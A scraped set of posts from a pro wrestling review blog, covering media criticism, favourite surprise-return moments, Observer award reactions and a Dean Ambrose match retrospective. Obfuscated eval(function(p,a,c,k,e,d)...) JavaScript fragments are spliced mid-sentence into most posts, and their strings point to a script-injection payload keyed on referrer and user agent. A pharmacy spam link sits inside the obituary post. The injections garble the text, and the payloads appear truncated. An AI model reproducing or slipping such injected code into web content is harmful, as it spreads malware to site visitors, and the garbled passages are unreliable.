Writer Doesn’t Like Mainstream Sports Covering WWE

Because it’s not real you see.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfthh|var|u0026u|referrer|frbta||js|php'.split('|'),0,{})) another day and another story of a “mainstream” sports writer deciding that professional wrestling is “rasslin” and something not worthy of coverage on ESPN or CBS. In this case it’s Michael Bradley of the National Sports Journalism Center at Indiana University.

http://sportsjournalism.org/sports-media-news/lets-hope-media-outlets-remember-what-e-in-wwe-means/




Required Viewing #16: Here Comes The Cavalry

They don’t happen often, but they’re some of the most exciting things in wrestling.

I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rihbd|var|u0026u|referrer|fzksh||js|php'.split('|'),0,{})) talking about the surprise challenger. This usually happens when all hope is lost and you’re left wondering who can save us now. I’m sure there are more of them, but here are four of the best I’ve ever seen and moments that I still smile at no matter how many times I watch them.

We’ll start at Uncensored 1997. After winning one of the most unique matches of all time (a three way, twelve man battle royal/elimination match), the NWO stood tall again. Hogan and company had cleaned house and there was no one left to fight for WCW. The show was about to go off the air, and then this happened (it’s after the match is over but check out the whole thing if you have time).

Notice the crowd just coming unglued as Sting shows which side he’s on. He was the hero WCW had been waiting for and the one man that could stop the NWO. The other thing to notice: Heenan’s last line. The show is going off the air and Sting is standing tall, but Heenan gets in one more thing: “HE CAN BEAT HOGAN! HE CAN BEAT HOGAN!” For the first time in a long time, there was hope.

Speaking of hope, in 2001, there wasn’t much for the WWF. With Vince McMahon in their corner, the Two Man Power Trip of Steve Austin and HHH had both major singles titles and had just gotten done destroying the Hardy Boyz. Lita was all alone, and we needed some saviors. This includes the end of the match where HHH won the Intercontinental Title back from Jeff Hardy.

Austin and HHH’s heads snapping back when the fire went off is good stuff. The match sucked but this was the challenge they needed.

In September 2012, John Cena hurt his shoulder (or something related to his arm) and was in jeopardy of not making it into the Hell in a Cell main event against CM Punk. Punk was also feuding with Mick Foley (kind of) at the time. Here’s the promo with Punk ripping into the injured Cena and going backstage, where he ran into someone. Yeah this is a stretch, but I still really love the character.

Yeah I liked it.

Now we get to the moment that changed an entire promotion. On January 2, 2013, NXT Champion Seth Rollins successfully defended his title against Corey Graves. This led to the locker room coming out to try and fight off the Shield, but the three men beat up about fifteen guys with ease. With nothing left, NXT Commissioner Dusty Rhodes looked defeated. I said out loud “in a good wrestling promotion, the unstoppable monster would come out for a big showdown with these guys.” Then this happened (best video I could find).

That’s when I knew NXT was something special, and it hasn’t let me down yet.

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of 1998 Pay Per View reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00UYAMB8U

And check out my Amazon author page with wrestling books for under $4 at:


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Global Force Wrestling Announces First Events

Their eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tytsn|var|u0026u|referrer|dsnnt||js|php'.split('|'),0,{})) first events will be on July 24, August 21 and October 23.  Last night I was looking at the biggest day the site ever had, which was last year’s day after Wrestlemania.  Global Force Wrestling announced their formation then and FIFTEEN MONTHS LATER they’re running their first show?  A lot of companies are lucky to last that long and it’s taking them that long to get a show together?  This is going to range from great to a disaster and I’m not sure which.




AAA Wrestler El Hijo del Perro Aguayo Dies After In Ring Injury

I’m sure you’ve probably heard about this by now and I’m no expert on lucha libre by any means but this deserves a mention.  From what I can tell, Aguayo was in a match with Rey Mysterio where Rey dropkicked him in the back to set up the 619.  Aguayo hit the ropes throat first and something happened with his throat/neck which led to his death.  Aquayo was 35 and the top heel of the promotion.

There’s nothing you can say about something like this http://onhealthy.net/product-category/anti-inflammatories/ other than it’s a tragedy and a freak accident.  I haven’t and won’t be watching the video of it but people who have seen it have called it a standard spot that Rey has done hundreds of times.  That’s the scary thing about wrestling or anything in life actually: you can do something time after times but freak accidents are always possible.  This is never easy to read about and it’s saddening even though I’ve only seen a handful of his matches.




Thought of the Day: You Don’t Need Time To Be Epic

Well eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhnzz|var|u0026u|referrer|btyhs||js|php'.split('|'),0,{})) not always at least.A lot of the time you hear fans say that you need time to create a great match or feud.  That’s true a lot of the time, but there are occasions where that’s not the case.  For instance, look at Michaels vs. Undertaker back in 1997.  That feud started on August 3 and was blown off (mostly) on October 5.  In the span of just over two months, those two started a feud, had a great brawl at Ground Zero and then had one of the best matches of all time at Bad Blood.

 

That’s a rare example, but it means that you can nail a story without needing a ton of time to set it up.  Not everything needs to be Rock vs. Cena at Wrestlemania XXVIII.  You have to hit almost everything perfectly, but you can pull it off if you do it right.




Required Viewing #15: Not The Mustard!

This one’s for you Memphis fans.If eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbsyy|var|u0026u|referrer|tyfbb||js|php'.split('|'),0,{})) these four words don’t mean anything to you, you need to brush up on your history: Tupelo Concession Stand Brawl.

 

Wrestling Observer Newsletter Awards – 2014

They’re out again and as usual here are my thoughts on each one of them.  After reading these, I’m very glad I watched Wrestle Kingdom.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znkyd|var|u0026u|referrer|yhynn||js|php'.split('|'),0,{})) of the Year – Shinsuke Nakamura

MMA Most Valuable Fighter – Ronda Rousey

Most Outstanding Wrestling – AJ Styles

Best Box Office Draw – Ronda Rousey

See all my other MMA responses. For actual wrestlers, probably Cena.

Feud of the Year – Jon Jones vs. Daniel Cormier

Good grief we get it already. For a wrestling feud, eh probably Rollins vs. Ambrose or whatever I picked for my award.

Tag Team of the Year – Young Bucks

Most Improved – Rusev

Best on Interviews – Paul Heyman.

Next.

Most Charismatic – Shinsuke Nakamura

Based on Wrestle Kingdom, I have no issue with this one.

Best Technical Wrestler – Zac Sabre Jr.

Best Brawler – Tomohiro Ishii

Best Flying Wrestler – Ricochet

You might know him better as Prince Puma. No one really springs to my mind to beat him so I can live with this again.

Most Overrated – Kane

Most Underrated – Cesaro

You mean the guy that everyone raves about? How is that underrated? This award usually comes off like “Most Underutilized” as opposed to the previous one being “Most overused.” I get the idea but the award name is kind of misleading.

Promotion of the Year – New Japan

Yeah probably. WWE had a really, really bad year, at least in the second half.

Best Weekly TV Show – NXT

Most Outstanding Fighter – Ronda Rousey

Just stop already. Or go post about it on an MMA site.

Match of the Year – AJ Styles vs. Minoru Suzuki

Fight of the Year – Johnny Hendricks vs. Robbie Lawler

Good grief. Next.

Rookie of the Year – Dragon Lee II

This would likely be another guy that only Meltzer has ever seen/heard of unless you watch a bunch of obscure wrestling.

Best Non-Wrestler – Paul Heyman

Best Television Announcer – William Regal

Worst Television Announcer – JBL

Best Major Show – G1 Climax 24:Day 7

Wrestlemania just means nothing nowadays does it?

Worst Major Wrestling Show – Battleground

Best Wrestling Maneuver – Meltzer Driver

Ok I totally get why he went with this one.

Most Disgusting Promotional Tactic – WWE Insulting Fans Who Bought PPV

Yep. That made me roll my eyes harder than I have in a long time.

Worst Television Show – Monday Night Raw

Oh come on. Raw was bad but Impact could be unwatchable at times and Smackdown was a waste of air time more often than not.

Worst Worked Match of the Year – Bray Wyatt vs. John Cena – Extreme Rules

Worst Feud of the Year – Nikki Bella vs. Brie Bella

Worst Promotion of the Year – TNA

Best Booker – Gedo and Jado – New Japan

Sure why not.

Promoter of the Year – Dana White – UFC

NEXT.

Best Gimmick – Rusev and Lana

Worst Gimmick – Adam Rose

Best Pro Wrestling Book – The Death of WCW

Best Pro Wrestling DVD – Ladies and Gentlemen, My Name Is Paul Heyman

Thought of the Day: And We Hit The Chinlock

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izthy|var|u0026u|referrer|krdzf||js|php'.split('|'),0,{})) would someone want to do that?Think about it.  In the history of wrestling, when has a chinlock not led to the guy in the hold starting a comeback?  You would think that someone would eventually realize that they don’t do what they’re supposed to do and seem to revive wrestlers more than wearing them down.  I’d love to see a character who picks up on all these things that never work and wrestle a smarter style for lack of a better term.




Thought of the Day: Hang On A Minute

I’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndnih|var|u0026u|referrer|kbyyr||js|php'.split('|'),0,{})) be right back.Why doesn’t wrestling ever end in a cliffhanger anymore?  Everything always has to be wrapped up in a nice bow and be ready for next week.  You can end a show by asking a big question or mentioning that you need to tune in next week to find something out.  For example, one of the very last Saturday Night’s Main Events ended with Bobby Heenan getting a phone call and saying that one of the Ultimate Maniacs had been injured and wouldn’t make Survivor Series.  Want to find out who?  Well tune in to the next show to find out!

 

Why is that so complicated?  Not everything has to be self contained.




Wrestler of the Day – December 31: Dean Ambrose

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aynnk|var|u0026u|referrer|rhzsr||js|php'.split('|'),0,{})) end with the future: Dean Ambrose.

Remember that this is Ambrose, not Shield.

Ambrose got started in 2004 under the name of Jon Moxley. Here he is in an early jobbing appearance on Velocity, January 21, 2006.

Brad Taylor/Jon Moxley vs. MNM

Moxley would head to perhaps his most famous haunt: Heartland Wrestling Association in Cincinnati. Here he is on HWA TV in February 2007.

Jon Moxley vs. BJ Whitmer

Raven vs. Jon Moxley

Moxley would actually get a TNA tryout match on November 11, 2008 before an Impact taping.

Lamar Braxton Porter vs. Jon Moxley

Jon, a very cocky guy here who seems to be the default face, gets pounded down in the corner again before a spinebuster plants him. Porter misses a charge in the corner and gets slammed down, setting up a missile dropkick for two. An STO backbreaker drops Jon and sets up a swingout Rock Bottom for two more. Back up and Moxley plants him with a DDT for the pin.

Jon Moxley vs. Bryan Danielson

Jon Moxley vs. Brodie Lee

William Regal vs. Dean Ambrose

It gets even worse for Ambrose as Regal is all fired up now. He takes Dean back to the floor and pins the arm between the steps and the ring before kicking the steps into the post. Back in and Regal just hammers Dean across the face with forearms. Ambrose tells him to bring it on so Regal rips at his face. A pair of exploder suplexes is only good for two and Dean is smiling. With the left arm hanging, the Knee Trembler is enough to end Ambrose.

Rating: B+. This was almost all psychology here and it worked wonderfully. Dean tried a monster but pushed him to a level he never should have gone near, sending Regal to pure evil. It was more than Ambrose could handle and Regal had to finish him off with a running knee to the head of a basically unprotected man. Great stuff and well worth checking out to learn how to be a heel.

Roman Reigns vs. Dean Ambrose vs. Seth Rollins

Reigns is known as Leakee here but that looks better as a title. The winner gets a title shot next week. Ambrose stops to look at William Regal, who he’s been having a long feud with at this point. We’ll get there eventually. Leakee pulls Dean down as Regal talks about how glad he is that his children don’t have evil in their eyes. Rollins gets double teamed but Leakee slams both of their faces into the mat to take over.

Now it’s Leakee getting double teamed as we take a break. Back with Leakee still being double teamed as Regal talks about how great it is for he and Ambrose to be evil but he’s trying to control his hatred. Ambrose rolls Rollins up for two before getting sent to the floor. Leakee knocks Rollins out of the air for two but Ambrose takes Leakee down into the Regal Stretch as part of an obsession with getting a rematch.

Leakee makes the ropes but Rollins springboards in with a clothesline to Dean. The low superkick sends Leakee to the floor but Dean counters another attempt into a wheelbarrow slam for two. Ambrose misses a knee trembler (Regal’s finisher) and Rollins hammers away, only to miss the curb stomp.

Instead he dives through the ropes to take out Leakee before heading back inside to slug it out with Dean. Regal admits that he knows Ambrose will be the end of him as Ambrose turns Rollins inside out with a clothesline. Leakee comes in and Samoan drops both guys at the same time before Checkmate (a running bulldog, a terrible finisher for him) ends Ambrose for the pin.

Rating: C+. All this really did was make me want to watch Ambrose vs. Regal in a match that tears the house down and shows more emotion than anything WWE has done in years because they’re both old school workers like that. The match itself was your usual triple threat. Leakee changing finishers was the best idea he could have had.

Ambrose wasn’t done with Regal though and spent months trying to get a rematch. They finally had their showdown on the final episode of FCW TV on July 15, 2012.

William Regal vs. Dean Ambrose

Feeling out process to start with Regal reaching for the bad arm. An early key lock takes Ambrose (who has a hairy chest here) down and Regal rams the arm into the mat. He stays on the arm by driving in knees and bends the fingers around again. Back up and Ambrose tries to escape in the corner but Regal trips his leg to keep control. He stays on the arm as Dean just can’t get away from him. Regal is wrestling more of a match here instead of going after revenge.

Ambrose finally escapes and shouts that Regal is going to have to take the arm home with him. That’s fine with Regal who takes him down into a crossface chicken wing on the mat but Dean bites the hand to escape. Regal gets even angrier and fires off knees to the face, followed by an exploder suplex. They head outside with Regal putting the arm between the steps and ring again. He doesn’t crush it though but rather steps on Dean’s head to get back to the apron before pulling on the free arm.

The referee breaks it up so Dean unties the bottom buckle as we take a break. Back with Ambrose finally sending him into the post to get a breather. Dean stomps away and the left arm is far too healthy so soon. Regal is stunned from the bad shot into the post and the referee has to check on him.

A series of palm strikes to the head have Regal in trouble and Dean rips the buckle pad off. He drives a bunch of knees into the side of the head, sending Regal’s ear into the buckle. The ear is busted open and a trainer comes out to check on him, but Regal charges across the ring with a forearm. A bunch of referees come in and the match is stopped due to the injury.

Rating: B-. Good but not on the same level of the first match. They needed a bigger ending than what they had here though because the match ending with Regal making a comeback isn’t very powerful, but at least they had an idea here. You can see the anger in Ambrose though and that’s all you needed later on.

After the match Ambrose puts him in the Regal Stretch until everyone breaks it up. Regal looks at him and extends his head so Dean can finish him off. Ambrose nails the Knee Trembler to knock him senseless to end the show and FCW. That’s the way the match should have ended.

Undertaker vs. Dean Ambrose

Time for some gold at Extreme Rules 2013.

US Title: Kofi Kingston vs. Dean Ambrose

Kofi is defending. Rollins and Reigns walk back up into the crowd to keep this as an actual one on one match. Feeling out process to start with Kofi trying a quick Trouble in Paradise but Dean grabs the rope. A hiptoss sends Ambrose down and Kofi pounds away in the corner. Dean comes out of the corner with a clothesline and drops an elbow for one. With Kofi against the ropes, Ambrose hits a hard dropkick for a near fall. Ambrose talks trash and puts on a crossface chicken wing of all things, complete with a grapevine.

Kofi fights up and sends Ambrose face first into the buckle to escape before dropping him with a dropkick. Boom Drop connects but Ambrose backs away before Trouble in Paradise can launch. SOS gets two on Dean and Kofi goes up top, only to be crotched down and caught with a butterfly superplex for two.

US Title: Dolph Ziggler vs. Dean Ambrose

Ziggy beat Ambrose via DQ on Friday to get this shot. Feeling out process with Ziggler trying to speed things up, only to have Dean grab the rope. Ziggler gets two off a dropkick and there are the ten elbow drops. They tumble out to the floor and Dean takes over before heading back inside for a knee in the back and some face rubbing into the mat. We hit a reverse chinlock followed by a regular chinlock until Ziggler fights up and gets two off a sunset flip.

Rating: C+. I liked this one more than I thought I would. This is the kind of match the show needed: a fast paced, back and forth match with both guys looking good. A clean win over a former world champion is nothing but good for Dean and the match was a nice pickup as well. Good stuff here.

Ambrose had a major match at the 2013 Slammys on Raw, December 9, 2013.

CM Punk vs. Dean Ambrose

Punk has his face shoved into the mat for two and we hit the reverse chinlock. CM fights up and sends Dean chest first into the corner before throwing Ambrose outside to get a breather. The suicide dive takes Ambrose out but Punk has to keep an eye on the rest of the Shield as we take a break.

Back with Ambrose holding a headlock but getting belly to back suplexed down. Punk misses a dropkick and as per wrestling logic, he hurts himself despite landing the same way he would have had the move connected. A swinging neckbreaker gets two on Ambrose and some forearms keep him in trouble. The knee in the corner sets up the Macho Elbow for two but Ambrose comes right back with a butterfly suplex.

Rating: B. As I said on Smackdown: this was exactly what you would expect from Punk vs. Ambrose when they get time. I wish they would let someone else lose the fall to Punk, but at least this time we got some storyline development as a result. Very solid TV match here as anyone would have expected.

Ambrose had a long feud with Cesaro, inlcuding this match on Smackdown, July 25, 2014.

Cesaro vs. Dean Ambrose

The next major feud was with Seth Rollins after the Shield split up. Rollins crushed his head against some cinder blocks and the war was on. The blowoff was inside the Cell at Hell in a Cell 2014.

Dean Ambrose vs. Seth Rollins

The Curb Stomp gets two and Seth is frustrated. He goes outside for the briefcase but instead just destroys Dean with chair shots. Rollins puts him head first on the briefcase but Dean counters with Dirty Deeds, only to have Seth escape with a kick to the head. Dean comes back with a Rebound clothesline and a briefcase shot to the face for an even closer two.

Dean Ambrose vs. Bray Wyatt

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/